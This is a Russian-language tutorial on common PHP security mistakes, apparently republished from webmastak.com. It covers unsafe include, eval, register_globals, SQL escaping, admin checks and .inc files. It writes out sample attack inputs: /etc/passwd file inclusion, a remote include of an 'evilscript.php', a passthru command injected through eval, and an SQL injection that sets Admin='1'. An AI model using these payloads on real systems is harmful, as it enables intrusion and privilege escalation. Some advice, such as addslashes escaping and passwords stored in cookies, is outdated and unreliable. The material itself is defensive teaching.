Разработка сайтов, создание сайтов
главная / PHP / PHP - ошибки безопасности

PHP - ошибки безопасности

Цель этого документа - информировать PHP программистов о часто встречающихся ошибках безопасности, которые могут остаться незамеченными в PHP скриптах. В то время как многие из нижеследующих концепций кажутся не лишенными здравого смысла, они, к сожалению не всегда практикуются.
После применения следующих практик в написании программ, Вы сможете исключить подавляющее большинство дыр безопасности, которые содержат многие скрипты. Многие из этих дыр безопасности были найдены в часто используемых open source (открытых источниках) и коммерческих PHP скриптах, в прошлом.

Наиболее важный урок, полученный от изучения этой статьи, в том, что вы должны никогда не доверять данным полученным от пользователя ожидая именно то что требуется.

Путь, которым большинство PHP скриптов были скомпрометированы - введя непредвиденные данные использовать дыры безопасности содержащиеся в скрипте.

Всегда держите следующие принципы в уме, когда пишете свои скрипты. помните следующие принципы,

1. Никогда не используйте include, require и не открывайте файл, имя которого базируется на вводе пользователя, тщательно не проверив его перед этим.

Рассмотрим следующий пример:

if(isset($page)) 
{
include($page);
}

Так как здесь не производится проверки данных содержащихся в $page, злоумышленник, гипотетически, может вызвать ваш скрипт подобным образом (предполагается register_globals установлено в ON):

script.php?page=/etc/passwd

Что запросит ваш скрипт подключить (include) файл паролей сервера /etc/passwd.

При включении не PHP файла посредством include() или require(), он будет отображен в виде HTML/Text не обработанный как код PHP.

На многих установках PHP, функции include() и require() могут подключать удаленные файлы. Если злоумышленник вызовет ваш скрипт подобным образом:

script.php?page=http://mysite.com/evilscript.php

Он получит возможность через evilscript.php послать любой PHP код, который он или она пожелает, чтоб выполнил ваш скрипт. Представьте, если пользователь пошлет код удаляющий содержимое вашей базы данных или перенаправит секретную информацию прямо в браузер.

Решение: проверять ввод. Один из методов проверки - создать список разрешенных страниц. Если входные данные не соответствует какой-либо из этих страниц, может быть выведена ошибка.

$pages = array('index.html', 'page2.html', 'page3.html'); 
if( in_array($page, $pages) )
{
include($page);
{
else
{
die("Nice Try.");
}

2. Будьте осторожны с eval()

Размещение значений введенных пользователем в функции eval() может быть крайне опасным.
Вы по существу предоставляете злоумышленнику возможность выполнить любую команду, которую он или она пожелает! Вы можете предусмотреть ввод в выпадающем меню из указанных вами опций, но ваш пользователь может решить послать входные данные похожим образом:

script.php?input=;passthru("cat /etc/paswd");

Поместив свой собственный код в выражении, пользователь может вызвать вашу программу для полного вывода файла /etc/passwd.

Используйте eval() как можно реже, и во что бы то ни стало, проверяйте входные данные. Он должен использоваться только когда это крайне необходимо - когда используется динамически сгенерированный PHP код. Если вы используете его для подстановки шаблонных переменных в строку или подстановки значений введенных пользователем, то вы используете его из ошибочных соображений. Попробуйте sprintf() или систему шаблонов (template system) взамен.

3. Будьте осторожны, когда используете register_globals = ON

Это свойство стало главным предметом разногласий с тех пор как появилось. Первоначально оно задумывалось для того чтоб сделать программирования на PHP проще (и оно это сделало), но злоупотребление им зачастую ведет к дырам безопасности. Что касается PHP 4.2.0, register_globals установлено в OFF по умолчанию. Рекомендуется, чтоб Вы использовали суперглобальные переменные, работая с вводом ($_GET, $_POST, $_COOKIE, $_SESSION, etc).

Например, скажем, у Вас есть переменная, которая указывает какую страницу подключать:

include($page);

но вы подразумеваете, что Ваша целевая $page определена в конфигурационном файле или где-нибудь в скрипте, и не приходит из ввода пользователя. Однажды вы забудете предопределить $page. Если register_globals установлено в On, злоумышленник может завладеть и определить $page для Вас, вызвав Ваш скрипт подобным образом:

script.php?page=http://www.example.com/evilscript.php

Я рекомендую Вам разрабатывать с register_globals установленным в OFF, и использовать суперглобальные переменные, когда получаете ввод пользователя. Вдобавок, Вы всегда должны разрабатывать с полным отчетом об ошибках, который может быть указан как (в начале вашего скрипта):

error_reporting(E_ALL); 

Таким образом, вы получите предупреждение о каждой вызываемой Вами переменной, которая не была предопределена. Да, PHP не обязывает Вас предопределять переменные так там могут быть сообщения, которые вы можете проигнорировать, но это поможет вам выловить непроинициализированные переменные, которые вы получаете из ввода или других источников. В предыдущем примере, когда $page передавалась в include(), PHP выдал бы сообщение, о том, что $page не определена. Хотите вы или нет использовать register_globals решать Вам, но будьте уверены в том, что Вы понимаете его преимущества и недостатки и как избежать возможных дыр безопасности.

4. Никогда не выполняйте неэкранированных запросов.

PHP имеет свойство, включенное по умолчанию , автоматически экранировать (добавляя впереди бакслэш "") определенные символы, поступающие из GET, POST, или COOKIE. Одиночная кавычка (') пример одного из символов которые экранируются автоматически. Это делается так что если Вы включите входные переменные в Ваш SQL запрос, она не интерпретируется одиночной кавычкой части запроса. Скажем, Ваш пользователь ввел $name через форму и Вы выполнили этот запрос:

UPDATE users SET Name='$name' WHERE ID=1;

Обычно, если оно содержит введенное $name с ординарной кавычкой в нем, он будет экранирован, так MySQL увидит следующее:

UPDATE users SET Name='Joe's' WHERE ID=1;

так что одиночная кавычка, содержащаяся в "Joe's" не смешается с синтаксисом запроса.

В некоторых случаях, вы можете применить stripslashes() к входным переменным. Если вы помещаете переменную в запрос, для уверенности воспользуйтесь addslashes() или mysql_escape_string() для экранирования одиночных кавычек перед выполнением запроса. Представьте если неэкранированный запрос прошел, и злоумышленник ввел часть запроса как внутреннее имя!

UPDATE users SET Name='Joe', Admin='1' WHERE ID=1;

В поле формы, ввел Joe', Admin='1

Как свое имя и так как одиночные кавычки не были экранированы, он или она сможет закончить определение имени, поместив запятую, и установив другую переменную называемую Admin!

Конечный, печальный, запрос будет выглядеть как:

UPDATE users SET Name='Joe', Admin='1' WHERE ID=1;

В некоторых конфигурациях, magic_quotes_gpc (свойство, которое автоматически добавляет слеш ко всему вводу) установлено в OFF. Вы можете использовать функцию get_magic_quotes_gpc() чтоб просмотреть включено оно или нет (возвращает true или false). Если вернет false, просто воспользуйтесь addslashes() для добавления слешей ко всем входным данным (проще если вы испоьзуете $_POST, $_GET и $_COOKIE или $HTTP_POST_VARS, $HTTP_GET_VARS, и $HTTP_COOKIE_VARS, вместо суперглобальных переменных так как вы можете пошагово пройтись по этим массивам используя цикл foreach() и добавляя слеши к каждому).

5. Для защищенных зон, используйте сессии или проверяйте каждый раз login.

В некоторых случаях, где программисты используют только один из видов login.php скрипт сперва проверяет имя пользователя и пароль (введенные через форму), проверяя администратору ли они принадлежат или действительному пользователю, и устанавливают переменную через cookie, или прячут прямо, в HTML, как скрытую переменную. Затем в коде, они просматривают, имеют ли они доступ, наподобие:

if($admin) 
{
// let them in
}
else
{
// kick them out
}

Вышеприведенный код делает фатальное допущение, что переменная $admin может прийти только из cookie или полей ввода формы, которые злоумышленник не контролирует.

Однако, не в этом случае.
С включенными register_globals, встраивание получаемого ввода в переменную $admin также легкомысленно как вызов скрипта как:

script.php?admin=1

Более того, даже если вы используете суперглобальные переменные $_COOKIE или $_POST, злоумышленник может запросто фальсифицировать cookie или создать свою собственную HTML форму чтоб послать любую информацию в Ваш скрипт.

Есть два хороших решения этой проблемы. Первый - тем же путем установить переменную $admin, но в то же время устанавливать переменную $admin как сессионную переменную.
В этом случае, она сохраняется на сервере и вероятность фальсификации гораздо ниже.
При повторных обращениях к этому же скрипту, ваша предыдущая пользовательская сессионная информация будет доступна на сервере, и Вы сможете определить является ли пользователь администратором как:

if( $_SESSION['admin'] )

Второй метод это сохранять только имя пользователя и пароль в cookie, и при каждом обращении к скрипту, сверять имя пользователя и пароль и проверять пользователь это или администратор. Вы можете создать две функции - одну называемой validate_login($username,$password), которая проверяет информацию о пользовательских логинах и одну называемой is_admin($username), которая базу данных просмотреть принадлежит ли имя пользователя администратору. Код необходимо разместить в начале каждого защищенного скрипта.

if( !validate_login( $_COOKIE['username'], $_COOKIE['password'] ) ) 
{
echo "Sorry, invalid login";
exit;
}
// the login is ok if we made it down here
if( !is_admin( $_COOKIE['username'] ) )
{
echo "Sorry, you do not have access to this section";
exit;
}

Лично Я рекомендую использовать сессии, так как последнее решение не масштабируемо.

6. Если вы не хотите, чтоб содержимое файла было просмотрено, дайте файлу .php расширение

Это часто практиковалось, некоторое время, называть подключаемые или библиотечные файлы с .inc расширением. Проблема в следующем: если злоумышленник просто укажет .inc файл в своем браузере, файл будет выведен как обыкновенный текст не обработанный как PHP. В случае если браузеру не понравится тип файла, скорее всего, будет предложено скачать его. Представьте если файл содержит ваш логин и пароль к базе данных, или еще более секретную информацию.

Это касается любых других расширений кроме .php (и нескольких других), таким образом .conf или .cfg файлы не будут в безопасности.Решение это добавлять .php расширение в конце них. Так как вы подключаете файлы или конфигурационные файлы обычно только определяя переменные и/или функции и явно не выводите что-либо, если ваш пользователь попытается загрузить их, например, в свой браузер:

http://yoursite.com/lib.inc.php

они скорее всего вообще не будут отображены, если ваш lib.inc.php не выводит что-либо. Таким образом, файл будет обработан как PHP вместо, вывода вашего кода.

Также есть сообщения от людей добавляющих Apache директивы, которые запрещают доступ к .inc файлам; однако, Я не рекомендую этого из-за недостатка переносимости. Если вы действительно включите .inc файлы и эту Apache директиву, запрещая доступ к ним, и в один день вы перенесете ваши скрипты на другой сервер и забудете поместить директиву в Apache, Вы общедоступны.



Источник: webmastak.com
текущее:

НОВОСТИ

2011 г., «VisMech.ru»